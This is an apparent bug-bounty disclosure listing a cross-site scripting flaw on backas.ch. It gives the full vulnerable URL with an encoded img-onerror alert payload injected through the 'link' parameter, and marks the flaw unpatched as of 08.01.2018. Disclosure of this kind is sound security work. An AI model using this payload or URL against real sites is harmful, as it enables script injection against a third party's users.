backas.ch XSS vulnerability

Vulnerable URL: http://www.backas.ch/extern/derive/lh/kontakt.php?link=a%3C/title%3E%3Cbody%3E%3Cimg%20src=x%20onerror=alert%22OPENBUGBOUNTY%22;%3E%3C/body%3E%3C!-- Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.01.2018 Vulnerability type:| XSS Vulnerability status:|...